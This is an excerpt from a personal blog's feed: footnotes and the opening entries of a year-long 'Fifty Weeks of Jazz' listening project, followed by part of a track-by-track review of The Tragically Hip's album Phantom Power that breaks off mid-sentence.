class="footnote-definition" id="all-that-meat-first-recording"><sup class="footnote-definition-label">27</sup> <p>The first recording I can find of "All That Meat and No Potatoes" dates back to 1941—<a rel="external" href="https://adp.library.ucsb.edu/index.php/matrix/detail/200049601/BS-062765-All_that_meat_and_no_potatoes">the page for that recording</a> on the "Discography Of American Historical Recordings" lets you stream the original Fats audio. Armstrong's cover sounds more complete to me overall, but I love the heavy punch that Waller puts on the downbeat. Listen for yourself; the website even offers an embed option for me to easily share it:</p> </div> <iframe height="285" width="550" src="https://adp.library.ucsb.edu/index.php/take/embed/177725" frameborder="0"></iframe> <p>…oh brother.</p> <div class="footnote-definition" id="dirty-food-songs"><sup class="footnote-definition-label">28</sup> <p>And ever since then until the present day too, fine.</p> </div> <div class="footnote-definition" id="digital-citizen"><sup class="footnote-definition-label">29</sup> <p>If you're out there, Digital Citizen, I promise this ribbing is intended in nothing but good fun; us .ca registrants have to stick together. For you, this track was one of the <em>Best Songs I Heard for the First Time in 2010</em>—allow me to join you in that assessment, a mere 15 years belatedly. (You need to fix your link to the full list, though.)</p> </div> <div class="footnote-definition" id="office-space-spoilers"><sup class="footnote-definition-label">30</sup> <p>Spoilers for <em>Office Space</em>, sorry. But seriously, if you haven't already seen it, you truly owe it to yourself to correct that. Also, thanks to Reddit user <a rel="external" href="https://www.reddit.com/user/sonofabutch/">sonofabutch</a> for <a rel="external" href="https://www.reddit.com/r/woahthatsacover/comments/157g3lw/fats_waller_all_that_meat_and_no_potatoes_made/">pointing out</a> this connection.</p> </div> <div class="footnote-definition" id="ah-leu-cha-origin"><sup class="footnote-definition-label">31</sup> <p>Apparently "Ah-Leu-Cha" is based in part on "Honeysuckle Rose"—which we heard <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-28">last week</a>—but I can't hear it for the life of me.</p> </div> <div class="footnote-definition" id="chambers-reference"><sup class="footnote-definition-label">32</sup> <p>Brought to my attention by <a rel="external" href="https://jazzprofiles.blogspot.com/">JazzProfiles</a> in <a rel="external" href="https://jazzprofiles.blogspot.com/2012/10/ed-bickert-and-lorne-lofsky-ah-leu-cha.html">this blog post</a> (thanks!). Please forgive my not reading the biography in its entirety—illuminating, I'm sure, but 850 pages is a lot to ask for a weekly post.</p> </div> <div class="footnote-definition" id="fletcher-story"><sup class="footnote-definition-label">33</sup> <p>In <a rel="external" href="https://www.youtube.com/watch?v=v6lFs5gbv_k">Fletcher's telling</a>, at least.</p> </div> <div class="footnote-definition" id="bitter-crop"><sup class="footnote-definition-label">34</sup> <p>This quotation comes from <em><a rel="external" href="https://www.paulalexander.net/bitter-crop">Bitter Crop</a></em>, by Paul Alexander, which I found via <a rel="external" href="https://www.wbgo.org/music/2024-02-26/the-moving-performance-of-billie-holiday-lester-young-on-the-sound-of-jazz-tv-program">WBGO</a>.</p> </div> <div class="footnote-definition" id="broadcast-vs-album"><sup class="footnote-definition-label">35</sup> <p>I've glossed over it above, but the album version of <em>The Sound of Jazz</em> is somewhat different than the live broadcast; e.g., apparently <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-14">Gerry Mulligan</a> refused to appear on the former because it didn't pay any extra.</p> </div> <div class="footnote-definition" id="s-neil-fujita"><sup class="footnote-definition-label">36</sup> <p>If that's not enough for you, Fujita also designed the covers for <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-3">The Jazz Messengers</a></em> and <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-29">’Round About Midnight</a></em>, both of which are <a rel="external" href="https://en.wikipedia.org/wiki/File:RoundAboutMidnightMilesDavis.jpg">pretty damn cool</a>. He then went on to create the iconic marionette design for that cult classic indie movie, The Freakin’ Godfather (!). If you want to learn more about Fujita's life and creative works, I highly recommend perusing Hanna Shibata's incredibly stylish <a rel="external" href="https://hannashibata.github.io/sneilfujita/index.html">homage</a>.</p> </div> <div class="footnote-definition" id="mingus-ah-um-title"><sup class="footnote-definition-label">37</sup> <p>I'd be remiss not to mention where the album title comes from, because once you dispel the intial confusion, it truly is a Simpsonian-certified Work of Comedy. Understanding the joke requires some knowledge of Latin's many suffixes, but don't worry; you've already picked many of them up via latent exposure (e.g., you could distinguish an alumn<i>us</i> from an alumn<i>a</i>, no?) Mingus must've had his share of Latin conjugation lessons back in his day, because this title plays on that: he starts from his own name, <em>Mingus</em> (whose trailing <em>-us</em> happens to put it in proper "masculine nominative" form for an adjective), and like a dutiful child, recites the following related suffixes: <em>-a</em>, <em>-um</em>. Taken all together, we arrive at our titular <em>Mingus Ah Um</em>, though I personally think <em>Mingus, Minga, Mingum</em> would've been even better.</p> </div> <div class="footnote-definition" id="train-geeks"><sup class="footnote-definition-label">38</sup> <p>God I love train geeks. I mean, just look at <a rel="external" href="https://en.wikipedia.org/wiki/G_(New_York_City_Subway_service)">this Wikipedia page</a>: this much-maligned subway line is better chronicled than most nations ever to have graced this earth.</p> </div> <div class="footnote-definition" id="rollins-biography"><sup class="footnote-definition-label">39</sup> <p>My exclusive source throughout this paragraph is <a rel="external" href="https://en.wikipedia.org/wiki/Sonny_Rollins#Later_life_and_career">good ol‘ Wikipedia</a>.</p> </div> <div class="footnote-definition" id="jim-hall-award"><sup class="footnote-definition-label">40</sup> <p>Posthumously, I'm afraid; Hall passed away in 2013. Of course he had a full and highly-awarded career as a leading musician as well.</p> </div> <div class="footnote-definition" id="rollins-second-sabbatical"><sup class="footnote-definition-label">41</sup> <p>Oh yes, there was <a rel="external" href="https://en.wikipedia.org/wiki/Sonny_Rollins#1969%E2%80%931971:_Second_sabbatical">another sabbatical</a> later.</p> </div> <div class="footnote-definition" id="the-bridge-metaphor"><sup class="footnote-definition-label">42</sup> <p>Lest you fear that I might be approaching genuine insight with that comparison, worry not; I stole it wholesale from Avakian's album notes. Why do you think I told you to read them?</p> </div> <div class="footnote-definition" id="simone-franklin-disclaimer"><sup class="footnote-definition-label">43</sup> <p>I recognize that to make such a sweeping judgement based on a total of three albums (we first heard Simone on <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-17">her blues album</a>) requires a hasty arrogance and disdain for sufficiently large sample sizes, but one makes do with what one has available, and in this particular instance, it is my job to make takes. If an intrepid reader is prepared to cite controverting discography entries, I am very willing to eat crow.</p> </div> <div class="footnote-definition" id="casino-royale"><sup class="footnote-definition-label">44</sup> <p>"The Look of Love" is from the Bond movie <em>Casino Royale</em>. No, no, not <em>that</em> <em><a rel="external" href="https://en.wikipedia.org/wiki/Casino_Royale_(2006_film)">Casino Royale</a></em>; the <a rel="external" href="https://en.wikipedia.org/wiki/Casino_Royale_(1967_film)">1967 version</a> that was first intended as an earnest entry into the 007 canon, but had to rebrand as a parody after failing to secure the rights. The resulting film was described by Roger Ebert as "possibly the most indulgent film ever made." I will watch it as soon as humanly possible.</p> </div> <div class="footnote-definition" id="taking-care-of-tcb"><sup class="footnote-definition-label">45</sup> <p>"TCB" stands for "taking care of business", and yes, those are the actual lyrics to "Respect".</p> </div> <div class="footnote-definition" id="simone-franklin-rivalry"><sup class="footnote-definition-label">46</sup> <p>My hypothetical framing; I haven't seen anything that suggests the two viewed each other in an especially competitive manner.</p> </div> <div class="footnote-definition" id="underground-album-cover"><sup class="footnote-definition-label">47</sup> <p>For a quick behind-the-scenes perspective on the cover's photo shoot, see <a rel="external" href="https://www.tumblr.com/mosaicrecords/145447122464/thelonious-monks-underground-the-story-behind">this article</a>. Citing an otherwise unverified Tumblr post is sloppy even by my standards, but it's signed "Michael Cuscuna," whose <a rel="external" href="https://www.nytimes.com/2024/04/25/arts/music/michael-cuscuna-dead.html">NYT obituary</a> leads me to believe he cared about getting these details right. And it's not like someone would just go on the internet and <em>lie</em>.</p> </div> <div class="footnote-definition" id="underground-album-notes"><sup class="footnote-definition-label">48</sup> <p>The full album notes are comedic gold, by the way; they get a full endorsement from the Simpsonian. I don't know where Gil McKean is these days, but I suspect we'd get along quite nicely.</p> </div> <div class="footnote-definition" id="gales-bass-technique"><sup class="footnote-definition-label">49</sup> <p>…it's only now after writing that description that I'm realizing Gales is presumably just playing with a bow (arco) during those sections, not plucking (pizzicato). Fully deserving of a facepalm on my part, but it also goes to show just how much more prevalent pizzicato is in jazz.</p> </div> <div class="footnote-definition" id="free-jazz-definition"><sup class="footnote-definition-label">50</sup> <p><a rel="external" href="https://en.wikipedia.org/wiki/Free_jazz">Free jazz</a> is (roughly speaking) a subgenre of jazz focused on tearing down the strictures of typical jazz conventions and instead emphasizing "free improvisation." Sadly, I don't think we'll see any representative examples in these box sets.</p> </div> <div class="footnote-definition" id="mr-clean-marketing"><sup class="footnote-definition-label">51</sup> <p>The marketing material here just writes itself: a fully-animated <a rel="external" href="https://en.wikipedia.org/wiki/Mr._Clean">Mr. Clean</a> saunters around real-world Brooklyn for 13 minutes to this song, casually assisting community members in their tidying. Procter &amp; Gamble, I await your call; Don Draper's got nothing on me.</p> </div> <div class="footnote-definition" id="so-what-benson-cover"><sup class="footnote-definition-label">52</sup> <p>The Davis cover should come as no surprise: yes, Benson had his own crossover with Miles, but more importantly this album also features <a rel="external" href="https://en.wikipedia.org/wiki/Jack_DeJohnette">Jack DeJohnette</a> and <a rel="external" href="https://en.wikipedia.org/wiki/Ron_Carter">Ron Carter</a>, each of whom recorded extensively with Davis.</p> </div> <div class="footnote-definition" id="birds-of-fire-movie"><sup class="footnote-definition-label">53</sup> <p>And as such, it desperately deserves a movie treatment like <em><a rel="external" href="https://en.wikipedia.org/wiki/Interstella_5555:_The_5tory_of_the_5ecret_5tar_5ystem">Interstella 5555: The 5tory of the 5ecret 5tar 5ystem</a></em>.</p> </div> <div class="footnote-definition" id="jacl-jazz-definition"><sup class="footnote-definition-label">54</sup> <p>I think Seton would be hurt if I didn't also mention that he's equally quick to stress that this is only one <em>possible</em> definition of jazz—one that he thinks is useful, but far from the only valid definition.</p> </div> <div class="footnote-definition" id="blues-expression"><sup class="footnote-definition-label">55</sup> <p>Roughly: a willingness to "bend" notes beyond conventional major/minor scales.</p> </div> <div class="footnote-definition" id="chinmoy-vs-deadlift"><sup class="footnote-definition-label">56</sup> <p>At time of publication, that's over 6 times the <a rel="external" href="https://en.wikipedia.org/wiki/Progression_of_the_deadlift_world_record">deadlift world record</a>. Despite these lofty heights, Sri Chinmoy came from humble beginnings: 18 months before his miracle lift, he started with a 40-pound weight, as captured in this <a rel="external" href="https://srichinmoy-reflections.com/weightlifting-anniversary">epic montage</a>. O that my gains were similar.</p> </div> <div class="footnote-definition" id="3100-mile-race-tshirt"><sup class="footnote-definition-label">57</sup> <p>My humble suggestion: "I RAN 3,100 MILES IN 40 DAYS AND ALL I GOT WAS THIS LOUSY T-SHIRT."</p> </div> <div class="footnote-definition" id="chris-powell-context"><sup class="footnote-definition-label">58</sup> <p>If you do care to learn more about these tracks in general, <a rel="external" href="https://www.spontaneouslunacy.net/">Spontaneous Lunacy</a> has full articles contextualizing the importance of both "<a rel="external" href="https://www.spontaneouslunacy.net/chris-powell-the-five-blue-flames-i-come-from-jamaica-okeh-6900/">I Come From Jamaica</a>" and "<a rel="external" href="https://www.spontaneouslunacy.net/chris-powell-the-five-blue-flames-ida-red-okeh-6875/">Ida Red</a>" in the world of rock (not jazz!).</p> </div> <div class="footnote-definition" id="brown-final-set"><sup class="footnote-definition-label">59</sup> <p>Several sources (including the album notes) claim that this final performance was mere hours before the crash, which strikes me as a shade too perfect to be true; others (including <a rel="external" href="https://en.wikipedia.org/wiki/The_Beginning_and_the_End_%28Clifford_Brown_album%29#cite_note-Catalano_2000_9-40">a biographer of Brown</a>) have suggested the club recording might date back to 1955.</p> </div> <div class="footnote-definition" id="ai-slop-b-roll"><sup class="footnote-definition-label">60</sup> <p>Allow me to stress once more that the putative subject of this video is a nuanced comparison of Clifford Brown and Freddie Hubbard, two widely-acclaimed trumpeters. What features in the video's B-roll? One person on keys, another on saxophone, and two separate drummers—nice. (Yes, I know the video is all made up anyways.)</p> </div> <div class="footnote-definition" id="chet-baker-instruments"><sup class="footnote-definition-label">61</sup> <p>Not just his trumpet, he played the flugelhorn too.</p> </div> <div class="footnote-definition" id="desmond-autumn-leaves"><sup class="footnote-definition-label">62</sup> <p>Note that "Autumn Leaves" isn't on the original release of <em>Desmond Blue</em>; it must've been added as an extra to the re-release I have.</p> </div> <div class="footnote-definition" id="autumn-leaves-showdown-part-2"><sup class="footnote-definition-label">63</sup> <p>You can tell "Autumn Leaves" is a much-covered piece, because we already pitted two <em>other</em> recordings of it against each other in our <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-24">Standards Showdown</a> a while back. I still think Garner delivers the most emotional force, but he's also taking some greater liberties with the tune; for my money, the Baker/Desmond version goes toe-to-toe with Wynton's.</p> </div> <div class="footnote-definition" id="mulligan-baker-partnership"><sup class="footnote-definition-label">64</sup> <p>Unfortunately their original partnership lasted less than two years—like Baker, Mulligan was addicted to heroin at this point, and his arrest in 1953 abruptly ended the collaboration; <em>Carnegie Hall Concert</em> is one of two "reunion" recordings they made much later. Unlike Baker though, Mulligan's story has a happy ending: he was eventually able to kick the habit. You can read Mulligan's own recollection of those times in his <a rel="external" href="https://www.loc.gov/collections/gerry-mulligan/articles-and-essays/jeru-in-the-words-of-gerry-mulligan/addictions/">oral biography</a>.</p> </div> <div class="footnote-definition" id="james-carter-redux"><sup class="footnote-definition-label">65</sup> <p>I didn't point them out in particular last week, but both James and Carter also played on <em>She Was Too Good to Me</em>. Carter happens to hold the Guinness World Record for <a rel="external" href="https://www.guinnessworldrecords.com/news/2016/1/ron-carter-earns-world-record-as-the-most-recorded-jazz-bassist-in-history-411828">most recorded jazz bassist</a> <em>ever</em>, so it should never be too surprising when he turns up—I wonder how many times I've heard him already without even noticing.</p> </div> <div class="footnote-definition" id="world-music-apology"><sup class="footnote-definition-label">66</sup> <p>Before you sharpen your pitchforks: I'm sorry, okay? I'm sure there are many examples of <em>great</em> world music, and yes, slapping this singular label on everything outside the Western canon is farcical. But in my limited experience, anything described as "world music" is more likely to be heard in a waiting room than a concert hall.</p> </div> <div class="footnote-definition" id="shorter-saxophone-tone"><sup class="footnote-definition-label">67</sup> <p>Don't take that the wrong way; I love how Shorter plays.</p> </div> <div class="footnote-definition" id="shorter-on-jaco-pastorius"><sup class="footnote-definition-label">68</sup> <p>Technically we also heard Shorter on one track from Jaco Pastorius's <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-22">self-titled album</a>. And yes, I'm sure that merely recognizing Shorter's playing is no great feat to you, but we're all on our own journeys here; let me have this.</p> </div> <div class="footnote-definition" id="john-williams-confusion"><sup class="footnote-definition-label">69</sup> <p>No, not the John Williams you're thinking of; <a rel="external" href="https://en.wikipedia.org/wiki/John_Williams_(guitarist)">the classical guitarist</a>. Though interestingly, <a rel="external" href="https://en.wikipedia.org/wiki/John_Williams">John-Williams-the-composer</a> cut his teeth on piano—in fact, he played on the first recording of the <a rel="external" href="https://www.youtube.com/watch?v=Emg_6ANjWzo">Peter Gunn theme</a>, and released a few jazz albums of his own. But if you go looking for those albums, don't mix him up with <a rel="external" href="https://en.wikipedia.org/wiki/John_Williams_(pianist)">John Williams</a>, the jazz pianist.</p> </div> <div class="footnote-definition" id="concierto-favourite-track"><sup class="footnote-definition-label">70</sup> <p>I mean, come on—after all that, did you really expect anything else?</p> </div> <div class="footnote-definition" id="school-days-recording-date"><sup class="footnote-definition-label">71</sup> <p>In fact, <em>School Days</em> was recorded only months after <em>Romantic Warrior</em>.</p> </div> <div class="footnote-definition" id="clarke-scientology"><sup class="footnote-definition-label">72</sup> <p>Yeah, that means Clarke is also a devout Scientologist. Sorry.</p> </div> <div class="footnote-definition" id="recordings-all-the-way-down"><sup class="footnote-definition-label">73</sup> <p>Thus creating a recording of a live show, which itself was based on edited recordings of live performances. It's <a rel="external" href="https://en.wikipedia.org/wiki/Mutual_recursion">mutual recursion</a> all the way down.</p> </div> <div class="footnote-definition" id="concerts-vs-albums"><sup class="footnote-definition-label">74</sup> <p>Of course, having the opportunity to actually attend the concert in person is a completely separate matter, and one we shan't consider for our purposes today.</p> </div> <div class="footnote-definition" id="heavy-weather-live-track"><sup class="footnote-definition-label">75</sup> <p>Well, <em>mostly</em>. "Rumba Mamá," released on <em>Heavy Weather</em>, was recorded "live at a summer 1976 concert in Montreux, Switzerland", per <a rel="external" href="https://en.wikipedia.org/wiki/Heavy_Weather_(album)">Wikipedia</a>. Meanwhile, <em>8:30</em> was intended to be fully live, but "an engineer accidentally erased some of the material, prompting the band to go into the studio to record the fourth side" (<a rel="external" href="https://en.wikipedia.org/wiki/8:30">Wikipedia</a> again). Taken together, these form a very pleasing musical <a rel="external" href="https://en.wikipedia.org/wiki/Taijitu#Modern_yin-yang_symbol">taijitu</a>.</p> </div> <div class="footnote-definition" id="young-in-sound-of-jazz"><sup class="footnote-definition-label">76</sup> <p>We (sadly) haven't heard Young headline an album, but we did catch one of his most iconic performances in <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-30">The Sound of Jazz</a></em>.</p> </div> <div class="footnote-definition" id="una-noche-con-francis"><sup class="footnote-definition-label">77</sup> <p>Based only on the title, you might assume this was written for the movie (where Francis is Dale Turner's steadfast French friend), but it's actually a Bud Powell original dedicated to his real-life Parisian <em>ami</em> named Francis.</p> </div> <div class="footnote-definition" id="gordon-as-turner"><sup class="footnote-definition-label">78</sup> <p>Perhaps this is not surprising given that Gordon's own life was in many ways similar to Turner's: substance abuse issues, fleeing to Europe for recovery and respect, and finally an American repatriation before his demise.</p> </div> <div class="footnote-definition" id="mcrae-in-walked-bud"><sup class="footnote-definition-label">79</sup> <p>We also heard "In Walked Bud" before (present on this album as "Suddenly"), but since that version also had vocals it's a different case. Not to mention "Round Midnight" and "Rhythm-A-Ning," both of which we heard covered on <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-48">last week's album</a> as well.</p> </div> <div class="footnote-definition" id="seeming-unsophisticated"><sup class="footnote-definition-label">80</sup> <p>Deservedly so, I'm afraid.</p> </div> <div class="footnote-definition" id="marsalis-double-overlap"><sup class="footnote-definition-label">81</sup> <p>Funnily enough, the first Marsalis album we heard had tracks that overlapped with both <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-19">Concert by the Sea</a></em> and <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-8">Parole E Musica</a></em>, and that's once again the case here: "Where or When" is on the former, and "Everything Happens to Me" the latter. Garner's version sounds totally disconnected from the original to my ear, but also brings a drama and energy that Marsalis can't match; Marsalis and Merrill are much more in tune with other on "Everything Happens to Me." (…come to think of it, those are the same comparisons I made last time…)</p> </div> 2025-01-14T00:00:00+00:00 2025-10-30T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/introduction/ <p>Right—the holidays are over, the Christmas tree is fuel for the fire, and the worst of the NYE champagne bottle shards have been swept up; it's time to get serious. As in, resolutions.</p> <span id="continue-reading"></span><p class="bubble"> <em>Update, 2025-10-30: if you're just popping in for the first time, I recommend you skip past the first few entries; like most series, this one took a little time to find its footing. I'd say it starts to pick up around <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-12/">week 12</a>; <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-15/">week 15</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-28/">week 28</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-30/">week 30</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-31/">week 31</a>, and <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-39/">week 39</a> are among my favourites.</em> </p> <p>Over the past few months I've been trying to listen to more jazz. I can't quite remember what started this whole project, but now I won't rest until I've achieved my own transcendental <a rel="external" href="https://www.youtube.com/watch?v=bKwQ_zeRwEs">jazz trance</a>.</p> <p>As it so happens, while checking out the local flea market recently I chanced upon some very relevant <a rel="external" href="https://www.discogs.com/release/2375584-Various-The-Perfect-Jazz-Collection">box</a> <a rel="external" href="https://www.discogs.com/release/2966397-Various-The-Perfect-Jazz-Collection-2">sets</a>, comprising some fifty classic jazz albums.</p> <p>So here's the plan: at one album per week, that gives me about a year of autodidactic jazz education, plus a buffer at the end for some self-reflection. I don't have a textbook or any other proper guide; I'm just going to listen to the albums, binge some Wikipedia pages, and see where that gets me in a year.</p> <p>Fair warning: this post is just going to be me brain-dumping my uneducated, undiscerning thoughts on these albums. I don't imagine it will be entertaining or useful in any way for literally anybody else, but hey, you're the one reading it. If, for some misguided reason you do want to follow along, there's <a href="/fifty-weeks-of-jazz/atom.xml">a dedicated feed</a> for just this project in addition to <a href="/atom.xml">the overall blog feed</a>.</p> 2025-01-14T00:00:00+00:00 2025-01-14T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-01/ <p>Not really knowing anything about these box sets in advance, I embarked on this project with some trepidation that I had signed myself up for fifty weeks of crap. By the end of this album's first track, I was a believer.</p> <p>The top-notch musicianship and Satchmo's<sup class="footnote-reference"><a href="#satchmo">1</a></sup> trademark gravelly crooning are already reason enough to listen, but I can't emphasize enough how much <em>fun</em> this album is: the frequent banter between Louis and <a rel="external" href="https://en.wikipedia.org/wiki/Velma_Middleton">Velma Middleton</a> is charming, and the whole thing is joyous and downright raucous throughout. I mean, just listen to this laugh:</p> <p><audio controls src="louis_armstrong_laugh.mp3"></audio></p> <p>One thing I don't understand: <a rel="external" href="https://en.wikipedia.org/wiki/W._C._Handy">W. C. Handy</a> was the "Father of the Blues," and most of the songs here have "blues" in the title—obviously there's lots of shared heritage between jazz and blues, but where exactly does that dividing line lie? And what is this exactly?</p> <p><em>Favourite track:</em> St. Louis Blues</p> <hr> <div class="footnote-definition" id="satchmo"><sup class="footnote-definition-label">1</sup> <p>One of Louis Armstrong's nicknames—look, I'm learning already!</p> </div> 2025-01-14T00:00:00+00:00 2025-01-14T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-02/ <p>This one is a slower burn for me: obviously Sarah Vaughan is an incredibly talented vocalist, but this doesn't quite get my blood pumping like the last album; sometimes her melodies go a little too all over the place for my taste. That said, I'd gladly put this on for a nice romantic dinner (skip "Mean to Me" in that case, though).</p> <p>Also, apparently Miles Davis is playing the trumpet for most of these tracks? We'll get back to him soon enough…</p> <p><em>Favourite track:</em> Nice Work If You Can Get It</p> 2025-01-05T00:00:00+00:00 2025-01-05T00:00:00+00:00 https://simpsonian.ca/blog/album-review-phantom-power/ <p>Over the past year or so, I've been focusing on owning my music collection (rather than streaming it from somewhere), and being more deliberate about what I listen to. In that spirit, one overly-ambitious evening I invited a few friends to participate in an "album review challenge:" we'd all pick one album that has a special significance to us, then put together some kind of document explaining why we love that album. There weren't any restrictions on the format—my wife put together a fantastic slideshow for hers; lacking her creativity, I confined myself to the written word. Here's my review of <em>Phantom Power</em>, by The Tragically Hip.</p> <h2 id="intro">Intro</h2> <p>My introduction to The Tragically Hip was their compilation album, <em><a rel="external" href="https://en.wikipedia.org/wiki/Yer_Favourites">Yer Favourites</a></em>; one of many haphazard teenage HMV acquisitions. From there, I started dipping into their discography proper, <em>Phantom Power</em> included. Over a decade later, and over 25 years since the album's release, I still find myself listening to it regularly—what gives it that staying power?</p> <p>To answer that question, I'll go through the tracks one by one—some only get a few lines, others get a proper write-up. I've also focused more on the lyrics than on the music itself; not because I think the former is more important, but because I (sadly) lack the necessary vocabulary/understanding to comment meaningfully on the latter. If you don't own the album already, you can listen along on <a rel="external" href="https://open.spotify.com/album/3HWQXn3dGZPSnIhVkvHIOz?si=Y1HelLpoRPWPY1RpzEI2kw">Spotify</a> or <a rel="external" href="https://www.youtube.com/watch?v=Aqzvs23FKiM&amp;list=OLAK5uy_kNKJcyhMci8VN3WZiJs-VtQ69dMU5UgJw">YouTube</a>, and follow the lyrics <a rel="external" href="http://www.hipmuseum.com/pplb.html">here</a>.</p> <p>One last thing before we dive in: in this whirlwind tour, I am greatly indebted to <a rel="external" href="http://www.hipmuseum.com/index.html">A Museum After Dark</a>, a shockingly comprehensive fan site dedicated to The Hip. In particular, their page on <a rel="external" href="http://www.hipmuseum.com/pplb.html">Phantom Power</a> has been an immense resource in putting this together. I link to their analysis in several places below; it has informed my writing in many other instances as well.</p> <h2 id="songs">Songs</h2> <h3 id="poets">Poets</h3> <p>We're off to the races with a heavy hitter; this was the best-performing single from the album when it was first released. It's also a quintessential example of Gord Downie's lyrical stylings: don't expect any easy answers or simplistic imagery; Gord's going to smack you down with a sackful of obscure themes &amp; allusions and see what sticks.</p> <p>What have we got in this case? Some agricultural references ("Superfarmer's," "withered corn stalks," "long grasses over time"), paired with sexual imagery for good measure ("porn speaks to its splintered legions", "lawn cut by bare-breasted women"—note the latter might be a reference to Ontarian women getting <a rel="external" href="https://en.wikipedia.org/wiki/Female_toplessness_in_Canada#Gwen_Jacob">legal approval to go topless</a> in 1996). I'm not quite sure what to make of that particular combination (<a rel="external" href="https://en.wikipedia.org/wiki/Ceres_(mythology)">Ceres</a>, maybe?), but I do want to point out the implicit irony here: the song's narrator doesn't seem to have a very high opinion of "the poets," but Gord is a pretty darn poetic guy himself—are we meant to be laughing at the poets, or at the narrator? "Himalayas of the mind" indeed.</p> <h3 id="something-on">Something On</h3> <p>In early 1998, Eastern Ontario and surrounding areas were hit with unprecedented quantities of freezing rain, causing complete power outages for days, if not weeks. While most of us were hunkered down, waiting it out, The Hip were in the studio recording this song ("outside there's hectic action / the ice is covering the trees").</p> <p>One of my favourite details of this song is the restraint it shows in the chorus (i.e. the pairs of couplets that end with "something/nothing on"). We hear it three times throughout the song, but the lyrics change each time, and our eponymous epithet ("phantom power") only features once. By refusing to reuse the phrase, I feel it makes the climatic moment before the bridge hit that much harder.</p> <p>There's more to look at here that I don't have time to get into—we go from "space" tautening to "your face" tautening; there's "impossible vacations" followed by "possible vacations", plus all the variations of "something" vs. "nothing" being on. Further investigation will require some uninterrupted time with nothing to do—perhaps when I'm invariably snowed in this winter. At least I'll have something to put on.</p> <h3 id="save-the-planet">Save the Planet</h3> <p>From the title you might expect a pretty straightforward "stop global warming" folk anthem, but things are never so simple with The Hip. There's definitely themes of architecture ("granite," "bunkers," "minarets") and heavy machinery ("turbine roars," "tolerant hum from the core")—you might imagine they're setting up for a contrast against images of nature, but that doesn't happen either. Instead, an eerily still man, covered in dust, repeatedly intones "constitutions of granite can't save the planet." I hear that as a critique of the institutions of the post-WWII order: maybe the forces that make efforts like the <a rel="external" href="https://en.wikipedia.org/wiki/Kyoto_Protocol">Kyoto Protocol</a> possible are the same forces driving us to climate catastrophe.</p> <p>But my favourite stanza is this synesthetic masterpiece:</p> <blockquote> <p>And it sounds heroincredible<br> Sound that makes the headphones edible<br> Awake affiliated and indelible</p> </blockquote> <p>I have no idea what this means intellectually, and I can't find any other reference to "heroincredible," but I can still <em>feel</em> it, y'know?</p> <h3 id="bobcaygeon">Bobcaygeon</h3> <p>This is my pick, far and away, for the most Canadian song ever.</p> <p>Maybe there's some personal bias here, but who among us doesn't understand the exact feeling of watching the stars overhead in small-town Ontario cottage country? Doesn't the gentle guitar melody at the start sound like something your friend might strum by the campfire? And the narrator's romantic distraction—doesn't that too seem even more Canadian when you learn that Gord sometimes introduced this song live as "<a rel="external" href="https://en.wikipedia.org/wiki/Bobcaygeon_(song)#cite_ref-2">about a couple of gay cops that fall in love</a>?"</p> <p>And yet, for all these charms, there's genuine danger lurking beneath the surface, both lyrically and in the musical tension before the bridge. Many interpret the conflict in the song to be a reference to the <a rel="external" href="https://www.thecanadianencyclopedia.ca/en/article/christie-pits-riot">Christie Pits riot of 1933</a>, which began with homemade banners featuring swastikas and "Heil Hitler" flown at a baseball game featuring a Jewish team, and ended with over 10 000 participants openly brawling in the streets. The police weren't able to quell the violence until the early hours of the morning.</p> <p>Does this tell us something about ourselves? To me, this song comes across as fundamentally optimistic: yes, even here in Canada we'll never be able to fully expunge humanity's darkest, basest prejudices. But maybe—just maybe—we can still build a kinder, gentler society; one where gay cops keep the peace and we all appreciate the constellations above. Bobcaygeon challenges us to try.</p> <h3 id="thompson-girl">Thompson Girl</h3> <p>We're going up waaay north for this next one: you probably caught that from the references to Churchill and polar bears, but maybe you overlooked the "55 degrees"—that refers to the latitude; Thompson, Manitoba sits entirely above 55° N. But the line that most catches my ear is "when she saw that <em>nickel stack</em>." Thompson's economy is largely based on nickel mining, first developed by Inco Limited; Thompson probably has smokestacks of its own, but I'd be remiss not to mention the <a rel="external" href="https://en.wikipedia.org/wiki/Inco_Superstack">Inco Superstack</a> in Sudbury—it's the second-tallest freestanding structure in Canada, behind only the CN Tower (!!). It's so tall that after sending pollutants up the stack, they generally just <em>float away from Sudbury on the wind</em>. Sure, I guess they'll eventually fall as acid rain or whatever into the drinking water or something, but that's not Sudbury's problem.</p> <p>But uh, back to the song—not much more to say on this one other than that it reminds of trying to make it through a frigid Canadian winter and dreaming of the early green buds that herald spring.</p> <h3 id="membership">Membership</h3> <p>Look, I really don't have a blessed clue what's going on in this one. At first it vaguely sounds like it's about drugs; later a bunch of ice fishing huts burn down off-screen? But if I'm being truly honest, I never really listen to the lyrics on this one because I'm too busy singing my incredible stupid parody over the "chorus:"</p> <p><em>Show me some crap, I'll buy it</em></p> <p><em>Sunday shopping; I got carried away</em></p> <p><em>With my Costco membership</em></p> <h3 id="fireworks">Fireworks</h3> <p>On an album with a wealth of instant classics, this is my personal favourite.</p> <p>Thankfully, I had the good fortune of never playing hockey in my youth, but there was enough latent exposure in my family for me to become intimately familiar with how all-consuming the hockey "lifestyle" can be for boys on the cusp of adolescence. I love how it only takes two short stanzas for this track to evoke a poignant and quintessentially Canadian meet-cute and coming-of-age story: after dreaming of nothing but the Cup from ages five to fifteen, all it takes is some clammy hand-holding to realize that there might be more to life beyond the rink. It's so good, I'll 